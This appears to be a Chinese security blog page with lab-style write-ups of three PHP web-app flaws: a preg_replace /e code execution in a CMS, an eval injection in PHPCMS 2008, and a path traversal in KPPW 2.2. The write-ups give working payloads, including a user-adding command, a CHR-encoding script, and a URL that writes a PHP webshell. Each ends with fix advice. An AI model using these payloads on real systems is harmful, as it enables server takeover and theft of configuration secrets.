系统定义了 getform函数，问题在函数的第三个if语句下：

1
$form[$name]['default']=preg_replace('/\{\?([^}]+)\}/e',"eval('return $1;')",$form[$name]['default']);

我们可以看到，要替换的内容为form[$name]['default'] ，根据以上的分析，可以得知，如果可以让我们控制替换内容的字符串内容，在替换的时候，就会发生代码执行。

因此现在的关键点在于，寻找一个form[$name]['default'] 的用户控制点。

在lib/table/archive.php 中我们找到了用户可控点：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function get_form() {
     return array(
             'catid'=>array(
                     'selecttype'=>'select',
                     'select'=>form::arraytoselect(category::option(0,'tolast')),
                     'default'=>intval(get('catid')),
                     'regex'=>'/\d+/',
                     'filter'=>'is_numeric',
             ),
             'typeid'=>array(
                     'selecttype'=>'select',
                     'select'=>form::arraytoselect(type::option(0,'tolast')),
                     'default'=>intval(get('typeid')),
                     'regex'=>'/\d+/',
                     'filter'=>'is_numeric',
             ),
 'toppost'=>array(
                     'selecttype'=>'select',
                     'select'=>form::arraytoselect(array(0=>'不置顶',2=>'栏目置顶',3=>'全站置顶')),
                     'default'=>0,
                     'regex'=>'/\d+/',
                     'filter'=>'is_numeric',
             ),

定义了一个get_form 这个函数，返回一个数组，其中catid数组中，可以看到default通过传参获取内容，用户可以进行控制。

接下来看看catid和getform是怎么配合使用的？

查看文件template\default\manage\guestadd.html

1
2
3
4
[removed]
{lang(addcategory)}           {form::getform('catid',$form,$field,$data)}
{lang(addtype)}           {form::getform('typeid',$form,$field,$data)}
{lang(title)}           {form::getform('title',$form,$field,$data)}

可以看到，在模板中直接调用了getform函数，然后传递了catid参数。

通过回朔追踪追踪，得知guestadd.html 是由guesttadd_action函数来控制的，而这个函数的在lib\default\manage_act.php 中，代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if (!defined('ROOT')) exit('Can\'t Access !');
class manage_act extends act {
    protected $_table;
    function init() {
        $user='';
        $guest = front::get('guest');
        if($guest=='1'&&config::get('opguestadd')) {
            $user = 'Guest';
        }else {
            if(cookie::get('login_username') &&cookie::get('login_password')) {
                $user=new user();
                $user=$user->getrow(array('username'=>cookie::get('login_username')));
            }
        }
        if(cookie::get('login_username') &&cookie::get('login_password')) {
            $guestuser=new user();
            $guestuser=$guestuser->getrow(array('username'=>cookie::get('login_username')));
        }
        $this->view->guestuser = $guestuser;
        if(!$user &&front::$act != 'login'&&front::$act != 'register')  front::redirect(url::create('user/login'));
        $this->view->user=$user;
        $this->_user=new user;
        $this->table=front::get('manage');
        if($this->table <>'archive'&&$this->table <>'orders') exit('PAGE NOT FOUND!');
        $this->_table=new $this->table;
        $this->_table->getFields();
        $this->view->form=$this->_table->get_form();
        $this->_pagesize=config::get('manage_pagesize');
        $this->view->manage=$this->table;
        $this->view->primary_key=$this->_table->primary_key;
        if(!front::get('page')) front::$get['page']=1;
        $manage='table_'.$this->table;
        $this->manage=new $manage;

在其第29行有如下代码：

1
$this->view->form=$this->_table->get_form();

把模板里面的变量form赋值成为this中table下的get_form，就是在这里调用之前返回数组的函数。

总结：

首先是manage_act.php，它是控制器的一个文件，初始化之后，它回去调用guestadd_action()，执行完数据后，再传递给guestadd.html，进行渲染。

manage_act.php在调用guestadd_action()之前，首先会初始化init()，init()会调用get-form()，而get-form会调用catid这个数组，这里我们就可以对catid进行控制。

接下来catid会传递到 $this->view->form 这个变量里去，并再次调用getform这个函数，将catid传递进来。最后进行了正则过滤，这里也就是重点，从而会导致系统将我们传入的字符串通过preg_replace来执行出php代码的效果。

最终payload如下：

1
catid={?(system(XXX))}

其中XXX代表我们要执行的命令。

漏洞利用

打开浏览器，访问目标站点，在首页点击网页底部的游客投稿。

http://www.test.ichunqiu/?case=manage&act=guestadd&manage=archive&guest=1

接下来点击Enable Post data ，使用Post方式发送恶意数据包，将payload写入数据框，点击提交。

catid={？(system(whoami))}

或者typeid

提交了whoami命令，在所属栏目一项，系统已经执行了命令，显示当前用户为system。

漏洞修复建议

代码执行漏洞相比较其他的漏洞，如Sql注入，XSS，包含漏洞等，危害更大，一旦执行成功，甚至可以直接拿下服务器的权限，因此根据之前的学习，对漏洞的修复应注意以下几点：

  • 所有输入都是可疑的，尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入，系统命令执行函数的参数不允许外部传递。
  • 不仅要验证数据的类型，还要验证其格式、长度、范围和内容。
  • 不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
  • 对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

修复建议

升级版本即可

展开全文 >>

PHPCMS 2008 命令执行漏洞

漏洞介绍

PHPCMS

PHPCMS网站管理系统是国内主流的CMS系统之一，目前已有数万网站的应用规模，拥有政府、企业、媒体等各个行业进千名商业用户。

漏洞介绍

PHPCMS 2008黄页模块漏洞变量初始化不严导致任意PHP代码执行，在系统函数string2array中调用eval有高风险，在/yp/web/include/common.inc.php中$menu变量初始化不严，导致可以注入执行任意PHP代码。

影响范围

PHPCMS 2008 版本

漏洞危害

攻击者通过代码执行漏洞，直接可执行系统命令，甚至直接可以直接获取服务器权限，对服务器安全造成极大的威胁

漏洞原理

漏洞代码位于/yp/web/include/common.inc.php 中，代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
defined('IN_PHPCMS') or exit('Access Denied');

$userid = $userid ? $userid : intval(QUERY_STRING);
$r = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$userid'");
if($r)
{
 extract($r);
}

if(!$userid)
{
 $MS['title'] = '你要访问的站点不存在';
 $MS['description'] = '请核对网址是否正确.';
 $MS['urls'][0] = array(
  'name'=>'访问网站首页',
  'url'=>$PHPCMS['siteurl'],
  );
 $MS['urls'][1] = array(
  'name'=>'注册为本站会员',
  'url'=>$PHPCMS['siteurl'].'member/register.php',
  );
 msg($MS);
}
if(empty($tplname)) $tplname = 'default';
//用户选择的默认模板
$companytpl_config = include PHPCMS_ROOT.'templates/'.TPL_NAME.'/yp/companytplnames.php';

$tpl = $companytpl_config[$tplname]['tplname'];


define('TPL', $tpl);
define('WEB_SKIN', 'templates/'.TPL_NAME.'/yp/css/');
if($diy)
{
 define('SKIN_DIY', WEB_SKIN.$userid.'_diy.css');
}
else
{
 define('SKIN_DIY', WEB_SKIN.$companytpl_config[$tplname]['style']);
}

$menu = string2array($menu);

首先判断有没有定义常量，如果没有定义则提示越权访问，然后从数据库取了一条数据，放到r变量中，如果取成功则使用extract执行r变量。

extract的意思是：将变量从数组中导入到当前的符号表中。

我们接着看，如果没有成功，会跳出循环，判断是否存在userid，如果不存在就输出提示信息，如果存在就继续执行，加载模板，加载完之后，我们在最后可以看到这么一行代码：

1
$menu = string2array($menu);

但是我们从开头到这里，并没有看到menu的出现，继续往下看。

在include/global.func.php 的675行，找到了string2array函数，代码如下：

1
2
3
4
5
6
function string2array($data)
{
  if($data =='') return array();
  eval("\$array = $data;");
  return $array;
}

首先定义了函数string2array，再判断data是否为空，如果是空则返回一个空的数组，如果不是空，则执行eval函数，看到这里就很熟悉了，eval在常用的一句话木马中很常见，它的作用是将字符串当做php代码去执行。

因此可以尝试传入一个 $_GET['menu'] ，初始化$menu ，如果再入构造一个不存在的userid，就可以直接将menu的值传入到eval里面去了。

总的来说，就是因为此处可能查询无结果

1
$r = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$userid'");

而导致下面的逻辑，执行不严谨。

1
2
3
4
if($r)
{
extract($r);
}

我们结合phpcms的全局变量初始化机制，可以构造$menu变量，结合string2array函数调用eval的漏洞，成功执行任意代码。

我们可以构建Payload，添加用户，登录目标机器，如下：

1
172.16.12.2/yp/web/index.php?userid=abc&menu=system(net user test test /add);exit();

然后使用账号密码为：test，test去登录。但是这样是不可行的，需要对空格和符号进行编码，才可以成功执行命令，编码后如下：

1
172.16.12.2/yp/web/index.php?userid=abc&menu=system(net.CHR(32).user.CHR(32).test.CHR(32).test .CHR(32).CHR(47).add);exit();

. 代表连接符的意思

漏洞利用

直接执行payload即可：172.16.12.2/yp/web/index.php?userid=abc&menu=system(net.CHR(32).user.CHR(32).test.CHR(32).test .CHR(32).CHR(47).add);exit();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# text = "file_put_contents('shell.php','<?php eval($_GET[fun]($_GET[cmd])); ?>');"
text = "shell.php,<?php eval($_GET[fun]($_GET[cmd])); ?>"
output = ""
for i in range(len(text)):
    if text[i] != ',':
        output += "CHR(%s)" % ord(text[i])
        if i < len(text) - 1:
            if text[i + 1] != ',':
                output += "."

    else:
        output += ','

print output

一句话：<?php eval($_GET[fun]($_GET[cmd])); ?>

不要菜刀连接：file_put_contents('shell.php','<?php eval($_GET[fun]($_GET[cmd])); ?>');

故访问：http://xx.xx.xx.xx/yp/web/index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(46).CHR(112).CHR(104).CHR(112),CHR(60).CHR(63).CHR(112).CHR(104).CHR(112).CHR(32).CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(36).CHR(95).CHR(71).CHR(69).CHR(84).CHR(91).CHR(102).CHR(117).CHR(110).CHR(93).CHR(40).CHR(36).CHR(95).CHR(71).CHR(69).CHR(84).CHR(91).CHR(99).CHR(109).CHR(100).CHR(93).CHR(41).CHR(41).CHR(59).CHR(32).CHR(63).CHR(62));exit();

漏洞修复

对命令执行漏洞的修复应注意以下几点：

  • 所有输入都是可疑的，尝试对所有输入提交可能执行命令的构造语句进行严格的检查或者控制外部输入，系统命令执行函数的参数不允许外部传递。
  • 不仅要验证数据的类型，还要验证其格式、长度、范围和内容。
  • 不要仅仅在客户端做数据的验证与过滤，关键的过滤步骤在服务端进行。
  • 对输出的数据也要检查，数据库里的值有可能会在一个大网站的多处都有输出，即使在输入做了编码等操作，在各处的输出点时也要进行安全检查。

展开全文 >>

KPPW 2.2 任意文件下载漏洞

漏洞介绍

KPPW

KPPW是一款基于PHP+MYSQL技术构架的威客系统 ，基于多年实践和对威客模式商业化运作的大量调查分析而精心策划研发。

漏洞介绍

KPPW 2.2版本存在任意文件下载漏洞，攻击者可以通过漏洞下载网站任意文件，危害较大。

影响范围

KPPW 2.2版本

漏洞危害

攻击者可以通过任意文件下载漏洞网站文件，窃取网站敏感数据，从而对被攻击者造成巨大的损失。

任意文件下载漏洞

Web应用程序中提供的文件下载接口对用户提交的数据过滤不严格，导致黑客可以通过构造相对路径，文件后缀等方式，将其他文件传入文件下载接口中，并利用该方式非法获取服务器数据。

漏洞原理

漏洞根源位于/control/ajax/ajax_file.php，代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php defined ( 'IN_KEKE' ) or exit('Access Denied');
 switch ($ajax){
  case "load":
   if($work_id){
    $file_ids = db_factory::get_count(sprintf(" select work_file from %switkey_task_work where work_id='%d'",TABLEPRE,$work_id));
    $file_list = keke_task_class::get_work_file($file_ids);
   }
   break;
  case "download":
   keke_file_class::file_down($file_name, $file_path);
   break;
  case "delete":
   $res = keke_file_class::del_att_file($file_id, $filepath);
   $res and kekezu::echojson ( '', '1' ) or kekezu::echojson ( '', '0' );
   die ();
   break;
  case "del":
   if(strtolower($_SERVER['REQUEST_METHOD'])!='post' || !isset($fid) || !isset($filepath)){ 
    kekezu::echojson ( '', '0' );die();
   }
   $fid = intval($fid);
   $size = kekezu::escape($size);
   $res = keke_file_class::del_att_file($fid,$filepath,$size);
   $res and kekezu::echojson ( '', 1 ) or kekezu::echojson ( '', '0' );
   die ();

switch有四个选项，分别为：load、download 、delete 、del 。变量$ajax 传过来哪个值，就会执行哪部分的代码，比如传过来的值为download，则就会执行下载模块下的代码。

在download选项中，可以看到，有文件名和文件路径的参数：

1
2
case "download":
 keke_file_class::file_down($file_name, $file_path);

我们继续跟进file_down 这个函数，它位于lib/helper/keke_file_class.php ，代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static function file_down($file_name, $file_path) {
 keke_lang_class::load_lang_class ( 'keke_file_class' );
 global $_lang;
 if($file_name&&$file_path){
  if(strpos($file_path, 'data/uploads/') !== false ){
   $filename = S_ROOT . $file_path;
   if (! file_exists ( $filename ) || strrpos ( $filename, ".php" ) !== false) {
   kekezu::show_msg ( $_lang ['file_not_exist'], $_SERVER ['HTTP_REFERER'], "3" );
   }
   $downfilename = str_replace ( ' ', ' ', $file_name );
   Header ( "Content-type: application/octet-stream" );
    Header ( "Accept-Ranges: bytes" );
   Header ( "Accept-Length: " . filesize ( $filename ) );
   Header ( "Content-Disposition: attachment; filename=" . $downfilename );
   $file = fopen ( $filename, "r" );
   echo fread ( $file, filesize ( $filename ) );
   fclose ( $file );
   die ();

可以看到，系统首先将文件名称和文件路径传入，下面判断，如果在传入的路径中，没有data/uploads ，则跳出循环。

它这里就限制了只能下载uploads下的文件。

接下来拼接字符串，形成一个新路径。接下来继续判断，如果文件名不存在，或者文件后缀名为.php ，就会终止下载。 如果满足以上所有条件，就执行下载操作。

通过以上分析，得知它首先限制了路径，并限制了包含php 文件的下载。

但是代码中忽略了一点，我们下载文件不一定是通过绝对路径下载，还可以通过相对路径下载文件。

我们可以在data/uploads后使用相对路径。就可以跳到前面的文件夹中，这样既包含了data/uploads字符串，符合代码规范，又可以跳到任意的文件夹。

因此我们可以利用相对路径构造payload，如下：

1
172.16.12.2/index.php?do=ajax&view=file&ajax=download&file_name=1.txt&file_path=data/uploads/../../config/config.inc.phP

这样就可以下载到数据库配置文件了。

###　漏洞修复

修复建议

  • 过滤点(.)使用户在url中不能回溯上级目录
  • 正则严格判断用户输入参数的格式
  • php.ini 配置open_basedir限定文件访问范围

展开全文 >>

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

<br><br>城南花已开<br>